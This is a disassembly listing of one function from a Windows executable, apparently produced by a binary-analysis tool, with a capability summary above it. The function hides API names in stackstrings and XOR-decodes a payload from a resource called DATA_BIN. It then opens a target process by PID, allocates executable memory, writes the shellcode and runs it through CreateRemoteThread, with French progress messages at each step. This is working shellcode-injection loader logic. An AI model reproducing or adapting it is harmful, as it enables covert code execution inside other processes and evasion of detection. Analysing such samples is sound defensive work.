Function at 0x140001070
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Extract resource via kernel32 functions
Link many functions at runtime

Disassembly:
push rbp
push r14
lea rbp, [rsp - 0x38]
sub rsp, 0x138
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov r14, rdx
cmp ecx, 2
je 0x1400010ac
mov rdx, qword [rdx]
lea rcx, str.Erreur__lancer_le_programme_avec_les_arguments_:__s__pid_
call fcn.140001010
xor eax, eax
jmp 0x14000146a
movdqa xmm0, xmmword [0x140003500]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x160], rsi
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rsp + 0x168], rdi
movdqa xmm0, xmmword [str.CreateRemoteThreWaitForSingleObjWriteProcessMemo_]
movdqu xmmword [rbp - 8], xmm0
mov qword [rsp + 0x130], r12
movdqa xmm0, xmmword [0x1400034f0]
mov qword [rsp + 0x128], r13
movdqu xmmword [rbp - 0x38], xmm0
mov qword [rsp + 0x120], r15
mov dword [rbp - 0x78], 0x74726956
mov dword [rbp - 0x74], 0x416c6175
mov dword [rbp - 0x70], 0x636f6c6c
mov byte [rbp - 0x6c], 0
mov word [rbp - 0x10], 0x7972
mov byte [rbp - 0xe], 0
mov dword [rbp - 0x48], 0x74726956
mov dword [rbp - 0x44], 0x416c6175
mov dword [rbp - 0x40], 0x636f6c6c
mov word [rbp - 0x3c], 0x7845
mov byte [rbp - 0x3a], 0
mov word [rbp + 8], 0x6461
mov byte [rbp + 0xa], 0
mov dword [rbp - 0x68], 0x61657243
mov dword [rbp - 0x64], 0x68546574
mov dword [rbp - 0x60], 0x64616572
mov byte [rbp - 0x5c], 0
mov dword [rbp - 0x28], 0x746365
mov dword [rsp + 0x58], 0x6e65704f
mov dword [rsp + 0x5c], 0x636f7250
mov dword [rsp + 0x60], 0x737365
mov dword [rbp - 0x58], 0x74726956
mov dword [rbp - 0x54], 0x466c6175
mov dword [rbp - 0x50], 0x45656572
mov word [rbp - 0x4c], 0x78
mov dword [rsp + 0x78], 0x6e72656b
mov dword [rsp + 0x7c], 0x32336c65
mov dword [rbp - 0x80], 0x6c6c642e
mov byte [rbp - 0x7c], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x78]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x48]
mov rcx, rbx
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 8]
mov rcx, rbx
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x68]
mov rcx, rbx
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x58]
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x58]
mov rcx, rbx
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, str.DATA_BIN
mov edx, 0x65
xor ecx, ecx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
xor ecx, ecx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
xor ecx, ecx
mov dword [rsp + 0x68], 0x72623368
mov dword [rsp + 0x6c], 0x6d5f7733
mov rsi, rax
mov dword [rsp + 0x70], 0x336430
mov ebx, edi
test edi, edi
je 0x1400012d3
movabs r8, 0x2e8ba2e8ba2e8ba3
nop dword [rax + rax]
mov rax, r8
mul rcx
shr rdx, 1
imul rax, rdx, 0xb
mov rdx, rcx
sub rdx, rax
movzx eax, byte [rsp + rdx + 0x68]
xor byte [rcx + rsi], al
inc rcx
cmp rcx, rbx
jb 0x1400012b0
lea rcx, str.___Partie_externe__n
call fcn.140001010
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [r14 + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov edx, eax
lea rcx, str.___Acces_au_processus_avec_le_PID__d__n
call fcn.140001010
mov rcx, qword [r14 + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [rsp + 0x40]
lea rcx, str.___Allocation_de_memoire_dans_le_process_n
mov rdi, rax
call fcn.140001010
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8, rbx
xor edx, edx
mov rcx, rdi
call qword [rsp + 0x48]
mov r14, rax
test rax, rax
jne 0x140001369
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Erreur_lors_de_lallocation_de_la_memoire__u_n
call fcn.140001010
mov eax, 0x4d2
jmp 0x14000143a
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___Ecriture_du_shellcode_dans_la_memoire_allouee_du_process.__EXTERNE__n
call fcn.140001010
mov r9, rbx
mov qword [rsp + 0x20], 0
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call r13
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___Execution_du_thread...___EXTERNE__n
call fcn.140001010
xor eax, eax
mov r9, r14
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov dword [rsp + 0x28], eax
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [rsp + 0x50]
mov rbx, rax
test rax, rax
jne 0x1400013f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Erreur_lors_de_la_creation_du_thread__u__EXTERNE__n
call fcn.140001010
mov eax, 0x4d2
jmp 0x14000143a
lea rcx, str.___Creation_du_thread_et_execution_avec_succes__en_attente_de_la_fin_dexecution..__EXTERNE__n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call r15
lea rcx, str.___Liberation_de_la_memoire.__EXTERNE__n
call fcn.140001010
mov r9d, 0xc000
xor r8d, r8d
mov rdx, r14
mov rcx, rbx
call r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov r13, qword [rsp + 0x128]
mov r12, qword [rsp + 0x130]
mov rdi, qword [rsp + 0x168]
mov rsi, qword [rsp + 0x160]
mov rbx, qword [rsp + 0x150]
mov r15, qword [rsp + 0x120]
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1400014a0
add rsp, 0x138
pop r14
pop rbp
ret